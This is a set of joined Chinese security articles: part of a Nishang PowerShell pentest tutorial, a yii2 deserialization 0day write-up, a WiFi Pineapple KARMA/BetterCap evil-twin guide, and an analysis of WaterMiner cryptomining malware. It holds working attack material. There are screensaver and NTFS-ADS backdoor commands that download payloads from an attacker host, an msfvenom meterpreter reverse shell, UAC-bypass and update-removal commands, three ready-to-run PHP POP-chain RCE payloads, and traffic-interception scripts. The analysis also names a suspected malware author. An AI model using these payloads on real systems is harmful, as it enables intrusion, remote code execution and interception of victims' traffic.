PS >Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" //使用这条语句可以执行我们自己的Payload
PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor
http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis //利用这条命令可以从powershell执行一个HTTP-Backdoor
PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1 //还可以使用msfvenom先生成一个powershell (./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell)，然后利用这条命令返回一个meterpreter
其他具体的参数的意思和我们上面介绍的一些后门是类似的
PayloadURL 指定我们需要下载的脚本地址
Arguments 指定我们要执行的函数以及相关参数
Invoke-ADSBackdoor
这个脚本是使用NTFS数据流留下一个永久性后门。其实，由NTFS数据流带来的一些安全问题的利用并不少见了（如：利用NTFS数据流在Mysql
UDF提权中创建lib/plugin目录），大家可以参考《NTFS ADS带来的WEB安全问题》
这个脚本可以向ADS中注入代码并且以普通用户权限运行
执行方式：
PS >Invoke-ADSBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin.
com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis
这个脚本主要有两个参数，在上面介绍其他后门当中已经说明了，这里是类似的
需要说明的是，执行后它会在AppData的目录下建立一个ads并把我们的Payload注入进去，如果我们希望在cmd下看到我们这里建立的ads，需要使用：dir
/a /r
**4.客户端**
对于这一部分的脚本，我就不再赘述了，因为网上早已经有了对于这一部分脚本的介绍说明：
使用Powershell Client进行有效钓鱼
**5.权限提升**
Enable-DuplicateToken
这个脚本可以帮助我们在已经获得了一定权限的情况下，使我们提升到System权限。
执行方式
PS > Enable-DuplicateToken
具体的相关介绍可以查阅：
<https://blogs.technet.microsoft.com/heyscriptingguy/2012/07/05/use-powershell-to-duplicate-process-tokens-via-pinvoke/>
Remove-Update
这个脚本可以帮助我们移除系统所有的更新，或所有安全更新，以及指定编号的更新。
执行方式：
PS > Remove-Update All //移除目标机器上的所有更新
PS > Remove-Update Security //移除目标机器上所有安全相关更新
PS > Remove-Update KB2761226 //移除指定编号的更新
Invoke-PsUACme
Invoke-PsUACme使用了来自于UACME项目的DLL来Bypass UAC。
上表给出了各种UAC绕过的方法，我们可以在Invoke-PsUACme中指定相应方法执行。
执行方式：
PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默认的Payload执行
PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默认的Payload执行
PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload参数可以自行指定要执行的Payload
除开以上而外，我们还可以使用-PayloadPath参数来指定Payload的路径，默认情况下Payload会在C:WindowsTempcmd.bat结束。还可以使用-CustomDLL64（64位）或-CustomDLL32（32位）参数来自定义一个DLL文件。
**6.扫描**
Invoke-BruteForce
这个脚本可以对SQL Server、域控制器、Web以及FTP进行口令的爆破
执行方式：
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose //爆破域控制器
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose //爆破SQL Server
PS > cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose //爆破server.txt中所有servers的SQL Server
主要的参数：
ComputerName 用于指定对应服务的计算机名
UserList 用户名字典
PasswordList 密码字典
Service 服务类型（注意默认为：SQL）
StopOnSuccess 成功找到一个后就停止执行
Invoke-PortScan
利用这个脚本我们可以在目标机器上对内网进行端口扫描
执行方式：
PS >Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80
主要的参数：
StartAddress 扫描范围开始的地址
EndAddress 扫描范围结束的地址
ScanPort 进行端口扫描
Port 指定扫描端口（默认扫描端口：21,22,23,53,69,71,80,98,110,139,111,
389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901）
TimeOut 设置超时时间
**7.中间人**
Invoke-Interceptor
这个脚本可以通过建立一个代理服务器的方式来拦截HTTPS的请求，并将这些请求记录下来
执行方式：
PS >Invoke-Interceptor -ProxyServer 192.168.230.21 -ProxyPort 3128 //这条命令将默认在8081端口监听并把请求发送给上游代理的3128端口
可以通过ListenPort来修改我们目标机器上的监听端口（默认8081端口）
例如
我们在目标机器上执行：
然后这里本机我用NC来监听对应端口：
接收到了来自目标机的请求数据
并且这个脚本会在目标机的TEMP目录下生成interceptor.log的文件来记录请求数据
**0x03 结语**
Nishang这款基于PowerShell的渗透测试专用工具集成了非常多实用的脚本与框架，方便我们在渗透测试过程之中使用。尽管，在一些环境下我们可能没有办法去执行Powershell，但是通过查看这些脚本的具体代码，我们也可以自己去完成实现脚本提供的一些功能。限于篇幅，本文只能抛砖引玉地介绍Nishang的部分功能，希望大家能够在实际的应用之中去体验。
**
**
**参考**
1\. <http://www.labofapenetrationtester.com/>
2\. <https://github.com/samratashok/nishang/>
**
**
**传送门**
* * *
[**【技术分享】Powershell 渗透测试工具-Nishang（一）**](http://bobao.360.cn/learning/detail/3182.html) | 社区文章 |
# 我是如何挖掘yii2反序列化0day的
##### 译文声明
本文是翻译文章，文章原作者 阿信，文章来源：阿信
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1602841173&ver=2648&signature=FJMVpV6t2C0hdu3dB*odLp2-bVAd8fo-ZbnVzjIF69B1EhRjbBhvYQzDkA4ZGHLw7UWd2*yYm3GmHGoowhA1MbqhaG7*2rL0wD1rhMz600TyTAX9JHHmYJU0XIRUB1j3&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1602841173&ver=2648&signature=FJMVpV6t2C0hdu3dB*odLp2-bVAd8fo-ZbnVzjIF69B1EhRjbBhvYQzDkA4ZGHLw7UWd2*yYm3GmHGoowhA1MbqhaG7*2rL0wD1rhMz600TyTAX9JHHmYJU0XIRUB1j3&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
🐻弟们，又到周末了，是时候给大家整活儿了
放心，这次不是在线吹牛环节，咱们还是得偶尔换换口味整整硬菜嘛
话说
周五我们小组团建结束，我扶着地铁回到了我温暖的小窝
一进屋，这该死的令人陶醉的氛围就让我丢盔卸甲，疲软不堪，就像是陷入了一位妙龄少女的温柔乡一般
我顺手把小书包儿一扔，鞋儿一脱，打开电脑准备欣赏一下脱口秀大会，给自己补充点快乐
又顺手打开了荒野乱斗
一边在脱口秀的舞台上补充快乐，一边在多人竞技的战场上独领风骚
这滋味，10瓶肥宅快乐水也换不来呀🤤
可是正当我玩的起劲的时候，我无意间在微信上看到有师傅发了最新的yii2框架反序列化漏洞payload
我立马开始焦虑起来😢，这帮家伙真tm不休息吗
手里的游戏突然就不香了，脱口秀的舞台也黯淡无光了
才怪😏
焦虑归焦虑，夜还是不能熬的呀，猛男从来都是十一点睡觉的，嘤嘤嘤
明天起床搞，于是我在焦虑中睡去，并给自己定了个六点的⏰
果然，今天7：30我起床了👻，一起床我就给了自己两耳光：“废物，你个区区（ ~~赘婿~~ ）菜鸡，还有脸睡懒觉！”
我起床匆匆收拾了一下（ ~~把昨晚没看完的脱口秀大会补完~~ ），然后就开始着手分析这个反序列化POP链了
咱们还是先来分析一下别人的这个利用链，然后，再说我挖到的一大堆利用链🤔
## 漏洞分析
挖掘之前还是要搭建好环境嘛，去github上下载yii2的`2.0.37`版本或其他更低版本
当然，你也可以选择使用composer安装，不过我用composer安装不了（特别慢）所以我是直接到github上下载的
自己在github上下载的yii2需要修改`config/web.php`文件里`cookieValidationKey`的值，随便什么值都行
然后切换到你刚刚下载的yii框架根目录，执行命令`php yii serve`，然后你的yii就在8080端口跑起来了：
接下来，咱们就要去看利用链了，在没有细节披露的情况下就去看github的commit记录：
上图就是与cve-2020-15148相关的所有更新，可以看到就只是在`yii\db\BatchQueryResult`类里添加了一个`__wakeup`方法，有些朋友可能不太了解这个方法
`__wakeup`方法在类被反序列化时会自动被调用，而这里这么写，目的就是在当BatchQueryResult类被反序列化时就直接报错，避免反序列化的发生，也就避免了漏洞
那从上面的信息就可以知道BatchQueryResult肯定是这个反序列化链中的一环，而且一般都是第一环，所以咱们就直接去看这个类吧
反序列化利用链的关键函数就是`__wakeup`以及`__destruct`,所以，我们直接看`__destruct`:
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
destruct方法里调用了reset方法，reset方法里又调用了close()方法，我一开始以为是close()方法有问题，然后我全局搜索了一下close方法，发现好像没有利用点
然后我回去翻了一下我之前挖thinkphp反序列化的文章，复习了一下php反序列化😉
才意识到`$this->_dataREader->close()`这里可以利用魔术方法`__call`，于是开始全局搜索`__call`,出现了很多结果，但是最好利用的一个是`/vendor/fzaninotto/faker/src/Faker/Generator.php`,它的`__call`方法是这样的：
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
我们跟进format:
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
format里调用了call_user_func_array,`$formatter`与`$arguments`我们都不可控，
目前`$formatter='close'`,`$arguments`为空
但是没关系
`$formatter`传入了`$this->getFormatter`,在这个方法中，`$this->formatters`是我们可控的，这也就意味着`getFormatter`方法的返回值是可控的
也就是说call_user_func_array这个函数的第一个参数可控，第二个参数为空
现在我们可以调用yii框架中的任何一个无参的方法了，这还不够，我们需要rce
所以，我们要找一个无参数的方法，在这个方法中我们可以实现任意代码执行或者间接实现任意代码执行
到目前为止我还不知道这个利用链到底有多长，所以，我一开始采用的笨办法就是找出框架中所有的无参数方法，然后一个个排查
当我输入正则：`function \w+\(\)`进行🔍时，直接冒出来几千个无参的函数，这让我怎么玩？
后来才知道大哥们是直接找的调用了call_user_func函数的无参方法，可能这就是大师傅们的经验吧
构造正则：`function \w+\(\) ?\n?\{(.*\n)+call_user_func`
出来22个结果，老怀大慰呀：
经过排查，发现`rest/CreateAction.php`以及`rest/IndexAction.php`都特别👍，很好利用
当然，还有其他的，感兴趣的同学可以自行查看
就拿`IndexAction.php`中的run方法来说，代码如下：
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
可见`$this->checkAccess`以及`$this->id`都可控，那，这条利用链不就成了吗：
`yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\IndexAction::run()`
## poc1
构造个payload:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
然后，我们验证一下payload是否有效，因为这仅仅是一个反序列化利用链，所以还需要一个反序列化的入口点，这个需要我们自己构造
在controllers目录下创建一个Controller:
然后咱们发送payload:
虽然有报错，但是咱们的命令还是执行了的，nice😀
ok,说完别人的，我该来说说自己挖的一些其它链了
## 开始挖掘
从github commit记录我们已经知道新版本的`BatchQueryResult`类已经无法反序列化了，那么我们就需要找一些其它的类了
找其他的类的方式也很简单，全局搜索`__destruct`与`__wakeup`函数，然后一个个排查
`__wakeup`函数都没啥可利用的，但是有几个`__destruct`函数引起了我的注意
第一个自然是`Psr\Http\Message\StreamInterface\FnStream`下的析构函数啦，看看它的代码：
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
我当时就心想，这么简单的一处反序列化都没发现吗，太菜了8，后来才发现FnStream类也修改了`__wakeup`函数为：
public function __wakeup()
{
throw new \LogicException('FnStream should never be unserialized');
}
不好意思，是我傻逼了
## 第一条链
那么继续看其它的呗，接下来登场的是`Codeception\Extension\RunProcess`,我们来看下它的`__destruct`方法：
public function __destruct()
{
$this->stopProcess();
}
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
从上述代码可以看到`$this->processes`可控，那也就意味着`$process`可控，然后下面又调用了`$process->isRunning`,这不又可以接上第一条利用链的`__call`方法开头的后半段吗？
然后利用链变成：
`Codeception\Extension\RunProcess::__destruct()
->
Faker\Generator::__call()
->
yii\rest\IndexAction::run()`
## poc2
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
## 第二条
然后再来看看类`Swift_KeyCache_DiskKeyCache`，看看它的`__destruct`:
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
跟进clearAll方法：
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
....
}
}
这里的`$this->keys`以及`$nsKey、$itemKey`啥的都是我们可控的，所以是可以执行到`$this->clearKey`的，跟进去：
public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->freeHandle($nsKey, $itemKey);
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
}
}
这里的`$this->path`也可控，这就方便了，可以看到这里是进行了一个字符串拼接操作，那么意味着可以利用魔术方法`__toString`来触发后续操作
全局搜索一下`__toString`方法，真的不少呀：
这怎么都能找到一个能利用的吧，我随便找了一下，就有三个，就随便拿一个说吧：
上图是我挖的过程中做的笔记😂
就拿`See.php`中的`__toString`举例,代码如下：
public function __toString() : string
{
return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}
可以看到`$this->description`可控，又可以利用`__call`，新链出炉：
`Swift_KeyCache_DiskKeyCache
->
phpDocumentor\Reflection\DocBlock\Tags\See::__toString()->
Faker\Generator::__call()
->
yii\rest\IndexAction::run()`
## poc3
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
当然，如果你想要一条全新的链也不是不行，只不过我要吃午🍚去了，下次见 | 社区文章 |
# 【技术分享】使用Pineapple NANO、OS X和BetterCap进行无线网络渗透测试
|
##### 译文声明
本文是翻译文章，文章来源：猫头鹰
原文地址：<http://www.mottoin.com/89259.html>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
经过实地测试，我发现了使用WiFi Pineapple NANO、OS X笔记本电脑以及
BetterCap（一款完整，模块化，轻量级，易扩展的中间人攻击测试工具和框架）进行无线网络渗透测试的完善配置。由于不同的人使用不同的平台而使得这项工作存在一定的问题（主要是OS
X和BetterCap之间网络连接共享困难的问题）。下面我将分享我的设置。
[](http://www.mottoin.com/89259.html/1-224)
**
**
**WiFi Pineapple AKA KARMA攻击**
首先，让我先讲解一下KARMA攻击。[DigiNinja](https://digi.ninja/karma/)是这样介绍KARMA的：
**KARMA是一组补丁接入点软件，让它响应探测请求；这不仅仅是它本身同时也是对所有ESSID请求。这允许AP作为一个诱饵来吸引任何客户端探测已知的网络。最初的Karma补丁是著名安全研究员Dino
Dai Zovi针对Madwifi（Multiband Atheros Driver for Wifi）而发布的。然后由我接管，将补丁移植到Madwifi-ng上，现在已经采取了新的hostapd。**
长话短说，在每个WIfi接入点都运行着hostapd，用来接收附近客户端（笔记本、手机等）的探测，并且唯一给探测回应的是发送它的SSID，其他的都丢弃。
有人创建了一个hostapd二进制补丁版本，该版本不是接受每一个探头。这样的结果是一个WiFi接入点，假装是（例如）您的家庭网络，从而迫使附近的设备自动连接到它。你可以通过kali分配，正确的驱动以及硬件等创建一个”Evil
Twin”这样的AP，或者你也可以使用一个廉价的TPLINK wr703n，最简单最快速的解决方法是购买一个WiFi
Pineapple。对于我来说，我有一个MKV、Tetra以及NANO，在文章中将重点谈论后者。
**
**
**与OS X的网络连接共享**
在你完成基本的NANO配置之后，运行你的设备，IP地址为172.16.42.1为了从你的Mac
wifi适配器共享连接给NANO（插到Mac的USB接口上），你需要改变一下IP地址，使得该IP地址被ICS OS X机制所接受。
ssh [email protected]
uci set network.lan.ipaddr='192.168.2.10'
uci set network.lan.gateway='192.168.2.1'
uci commit && reboot
然后你就可以从你的Mac WiFi适配器共享网络连接给NANO USB-Eth适配器：
最终，您将需要为接口配置一个静态IP地址：
[](http://www.mottoin.com/89259.html/ip)
到这一步就差不多了，你需要在你的Mac上配置正确的防火墙规则，使两接口之间一切工作正常，下面是我写的一个脚本（NANO的以太网接口是en4，根据你的需求更改）：
#!/bin/bash
if [ "$(id -u)" != "0" ]; then
echo "This script must be run as root." 1>&2
exit 1
fi
sysctl -w net.inet.ip.forwarding=1
pfctl -e
echo "nat on en0 from en4:network to any -> (en0)" | pfctl -f -
在你启动了它之后，你可以通过ssh登录你的NANO来验证网络共享是否在工作。
[](http://www.mottoin.com/89259.html/ics_working)
最后，通常会配置并启动PineAP：
[](http://www.mottoin.com/89259.html/pineap)
现在你就可以运行你的KARMA攻击了，附近有WiFi功能的设备应该很快就会连接到你的AP。
**
**
**端口重定向和Bettercap**
不幸的是，让bettercap运行在NANO上是一件非常痛苦的事情，即使你设法做到。它的硬件根本不够强大，无法正确运行它，使它同时处理多个连接。所以我决定在笔记本电脑上运行它，然后NANO重定向所有的HTTP（以及可选的HTTPS）连接到它上面。
下面是一个简单的bash脚本，你需要复制到你的NANO上，它会启用或禁用端口重定向到你的笔记本电脑上运行bettercap上：
[](http://www.mottoin.com/89259.html/setup)
#!/bin/bash
if [[ $# -eq 0 ]] ; then
echo "Usage: $0 (enable|disable)"
exit 1
fi
action="$1"
case $action in
enable)
echo "Enabling ..."
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $(uci get network.lan.gateway):8080
iptables -t nat -A POSTROUTING -j MASQUERADE
;;
disable)
echo "Disabling ..."
iptables -t nat -D PREROUTING -p tcp --dport 80 -j DNAT --to-destination $(uci get network.lan.gateway):8080
;;
*)
echo "Usage: $0 (enable|disable)"
exit 1
;;
esac
一旦您启用了端口重定向，你可以在你的电脑上通过命令行简单的启动bettercap，开始拦截被迫连接到你恶意接入点的目标客户端的通信。
[
](http://www.mottoin.com/89259.html/setup) | 社区文章 |
# 【技术分享】WaterMiner：一个加密挖矿恶意软件分析
|
##### 译文声明
本文是翻译文章，文章来源：minerva-labs.com
原文地址：<https://www.minerva-labs.com/post/waterminer-a-new-evasive-crypto-miner>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
Minerva
实验室发现了一个能够揭露新的加密货币地下挖矿团队的恶意软件。本报告描述了恶意的加密货币挖矿机（cryptominers）的本质，剖析了这个新发现的恶意软件，并且阐述了它采用的隐藏技术和感染媒介，以及在攻击终端安全软件时采用的技术。我们同时还提供了该组织背后可能是谁在操控的细节。
**
**
**门罗币的淘金热**
加密货币正在日益变得普遍。比特币是最常用的例子，就算在没有技术背景的人群中也很流行，而且像Expedia这样的知名商家也接受比特币支付。
但是比特币不仅仅是一种加密货币。目前包括以太币、莱特币、Zcash和门罗币在内的加密货币市值超过10亿美元。它们之中有些非常类似，而有些又在实现过程中的数学和计算属性有着显著地不同。通过大量计算来获取加密货币作为奖励是有可能实现的，这种过程通常被称为挖矿。加密货币的挖矿恶意软件通过盗用受害者的资源来实现在挖矿过程中的大量运算，然后这些网络犯罪者独吞挖矿的奖励。最近，我们发现挖取一种特定加密货币——门罗币的恶意软件出现了增长。门罗币的设计使得它匿名且不可追踪，这就是它在网络犯罪者之中非常流行的原因。
上个5月份，Proofpoint 揭露了Adylkuzz门罗币挖矿恶意软件，它与同时期传播的 WannaCry
使用了相同的代码。上个月还发现了额外的关于对门罗币进行有争议地挖掘的例子，安全研究员@PaulWebSec 发现，像CBS Showtime、The
Pirate Bay 和 many others这种流行的网站会从它们的访问者那里“借用”CPU时间来运行代码以挖掘门罗币。
—-@PaulWebSec 列举了挖掘门罗币的头几个网站
Minerva 最近发现了另一个非法的门罗币挖掘组织，该组织针对俄罗斯人传播恶意的门罗币挖掘机，具体描述如下。
**
**
**什么是WaterMiner？**
这是一个窃取计算机资源的组织，我们称之为WaterMiner，它通过一个简单但有效的门罗币挖掘机来感染受害者，这个挖掘机被设计为隐藏在终端的监测工具之后。由于现在想要对一些已经完善的加密货币（如比特币）进行挖矿，不用一些昂贵的专门定做的高级设备是不可能的。那么这种挖矿软件在受害者机器CPU上的效率究竟能有多高效呢？
有趣的是，由于门罗币所用加密算法的本质特点，因此在配备普通CPU的机器上对门罗币进行挖矿依旧是高效的。这种可能性，加上门罗币设计上的匿名性，让它对网络犯罪者的吸引力更大了。
攻击者通过非法将这个恶意挖矿软件和游戏“mods”捆绑在一起来散播WaterMiner，该组织在一个俄语论坛上传播他们的恶意软件。举个例子，某个带木马的文件声称能“增强”流行的R级游戏GTA的表现。它会用“Arbuz”这个名字传播到受害者的机器中去，Arbuz在俄语中是西瓜的意思，这就是为什么我们将这个组织命名为WaterMiner的原因。几个论坛成员在不同的论坛上发布了Trojanized文件的下载链接，并向潜在受害者宣传其各种功能，甚至加上一个链接以用来告诉用户该文件在VirusTotal上的扫描结果是安全的，具体如下图所示：
发布Trojanized mod的一个帖子，并注明了VT（VirusTotal）的链接
另一个由不同昵称的会员张贴在不同论坛上的相同内容的情况
Mod与挖矿机的的下载器捆绑在一起，并作为一个RAR文件被放在Yandex.Disk（俄罗斯版的Google Drive 或
Dropbox）上。尽管这个RAR文件提供了游戏mod所声称的全部功能，但在许多文件中，它却包含了一个叫“pawncc.exe”的文件，如下面的屏幕截图所示，一旦mod运行该文件就会开始下载加密货币挖矿机恶意软件。
一旦pawncc.exe在受害者的系统中运行起来，它将作为一个下载器，发布一系列任务，最终结果是运行WaterMiner这个恶意软件。pawncc.exe程序在运行的时候首先会去确认当前机器是否已经感染了这个恶意软件，如果挖矿软件还不存在，那么它会创建一个感染记号。这个感染记号会创建“HKLMSoftwareIntelPlatform”注册表项，并将“Ld566xsMp01a”的值设为“Nothing”，具体如下图所示：
然后，pawncc.exe从一个Google
Drive链接中下载WaterMiner并将该文件放在temp文件夹中，并将感染标记的值设为“loaded”。之后，挖矿机将以一个名为“Intel (R)
Security Assistent.exe”的新进程运行，具体如下图所示：
下载挖矿机，将其存在temp文件夹中并将其作为“Intel (R) Security Assistent.exe”运行
如果感染标记的值已经是“loaded”，那么该恶意软件将不会继续执行，因此我们只要简单地利用注册表项就可以阻止该恶意软件继续运行。在下图可以看到，在对感染标记的测试中，如果感染标记已经被设定为了“loaded”，那么主导下载和运行恶意软件的函数将被跳过。
如果找到了感染标记则会跳过
在测试下载器的时候，Minerva找到了一个特殊的指示器，它帮助我们追踪到了Pastebin早期版本的源码，这是一个在线的复制粘贴服务。在这段代码中作者的注释直接提到了“挖矿功能”，并且显示攻击者是有意将挖矿机作为游戏mod功能的一部分，代码如下图所示：
Martin 0pc0d3r在早期挖矿机程序下载器中写的注释
从俄语翻译过来后，注释的第一部分与现有的功能相关：
**加载11个挖矿机文件到temp文件夹中**
**加入留存机制（persistency mechanism）**
**隐藏文件和留存机制**
**仅下载挖矿机文件一次**
在TODO部分甚至有些注释表明了即将对挖矿机做的改进：
**新建一个挖矿机的备份文件**
**利用任务调度程度来做留存**
**将挖矿机作为一个服务来运行以便将其隐藏**
pawncc.exe将挖矿软件下载到受害者的系统中，将其命名为“%TEMP%Intel(R) Security
Assistent.exe”这样一个64位的可执行文件，并使用RunOnce 注册表项来使得其能够在机器重启后继续运行，具体如下图所示：
接下来，它会开始挖矿，并在TCP端口45560上与xmr.pool.minergate.com进行通信，该主机名属于一个挖矿池。多个挖矿者通过这些挖矿池之间相互合作，使得他们能够通过他们对挖矿池的贡献来共享资源和奖励。目前，有数十个门罗币挖矿池对公众开放。在检查过挖矿机后，Minerva发现它是一个改进版的开源挖矿机，该挖矿机叫做XMRig，如下图所示：
左侧：XMRig指令，右侧：从挖矿机中提取出来的字符串
XMRig本身并不是恶意的，但是未经许可地将其安装在不知情的受害者的系统中用于获取非法利益就是不合法的使用情景了。Minerva还遇到了老版本的Dropper，它分发了一个名为Nice
Hash的不同挖矿软件。然而，攻击者切换到XMRig可能是因为Nice Hash需要几十个不同的文件才能在受害者的系统上正常运行。
**
**
**WaterMiner是如何绕过受害者检查的？**
为了在受害者机器上执行挖矿任务，挖矿软件自然地会产生大量的计算，这在一定程度上会占用受害者很多的CPU资源。这意味着当受感染的系统变慢的时候，受害者可能会意识到机器哪里出现了问题。为了调查原因，受害者可能会打开Windows任务管理器或相应的应用程序来查看那个应用拖慢了系统。在WaterMiner攻击活动中，当有如下名字的窗口打开时，攻击者会使用原本的XMRig来避开检测，这些窗口名字是：
**Windows Task Manager (英文或俄文)**
**Task Manager**
**AnVir (俄语的task manager)**
**Process Hacke**
下面的截图中显示了XMRig中检查这些窗口的代码：
会让WaterMiner停止挖矿以逃避探查的窗口名
挖矿机一旦检测到了上述任何应用，挖矿的进程就会停止，使得受害者难以发现恶意程序的存在。早期的同一个攻击组织传播的恶意软件变体包含了另一种不同的测试：挖矿机并不去查看窗口，而是试图通过检查运行进程列表来检测显示器上的应用，一旦下列进程被发现，则它会关闭其自身。
如果找到Task Manager 或 AnVir 则调用 taskkill 来关闭恶意软件
Minerva的反入侵平台通过使恶意软件以为它在持续地受到监视从而迫使其停止所有挖矿活动，该方法正好是利用了挖矿机本身的躲避机制。
**
**
**谁是WaterMiner背后的组织？**
在网络犯罪的世界中，我们经常遇到品行良好的组织团伙。然而，似乎门罗币也吸引了很多聪明的独行侠，他们并不是我们通常情况下想象中像犯罪大师那种的攻击者，就如同阿拉斯加在淘金热中也同样引诱了很多挖矿者一样。
阿拉斯加淘金热期间的挖矿
根据几个论坛的帖子和Minerva追踪到的源码，WaterMiner组织背后的人似乎藏在“Martin
Opc0d3r”这个化名之后，并且具有开发其他恶意软件的经验，例如bots木马和游戏mods。然而，他最近似乎意识到他开发的mods（用几种不同的恶意软件感染他的“客户”，其中包括加密货币挖矿机）是可以赚钱的。Minerva定位到了WaterMiner中的某个常量URL（hxxp://cw36634[.]tmweb[.]ru/getfile[.]php?file=12），在另外至少12个样本中，都存在由同一个人创建的，几乎从相同的URLs里下载恶意软件，具体如下图所示：
Minerva定位到了更多的例子，它们使用了另一个域名，使用的URL都使用了一个相同的模式：
有些内容已经失效，可能要么是被提供者移除，要么是攻击者自己移走了。但是，从其中尚且有效内容的探查中，我们找到了好几种版本的转换后的XMRig和NiceHash挖矿机，它们同WaterMiner组织之前的样本和代码片段非常相似。另一个0pc0d3r的代码片段在Pastebin上是公开的，这让我们相信，上面某些失效的内容正是木马使用的URL：
其他证据指出，0pc0d3r老版本的带有木马mods被终端用户发现了。通过这条证据，Minerva定位到了另一个俄罗斯论坛，hxxps://video[.]fishyoutube[.]com/watch?v=lU0xJSuj-ZM, we observed the publication of a different mod. Its users posted comments
to flag it with words such as “stealer”, “Trojan” and called 0pc0d3r “the
result of incest”:
从0pc0d3r差劲的操作来看，很明显我们并不是在面对一个老练的网络罪犯。通过跟踪与这个化名有关的活动，我们发现了背后这个人的可能的身份。在俄罗斯社交网络VK上，Anton
[ redacted]这个人提供了0pc0d3r的mod：
当一个用户指责Anton倒卖0pc0d3r的作品的时候，Anton非常骄傲地承认自己就是这个身份背后的人：
结合其他我们在分析这个组织时收集到的敏感信息，我们相信Anton应该就是0pc0d3r-WaterMiner背后的人。
**
**
**结论与建议**
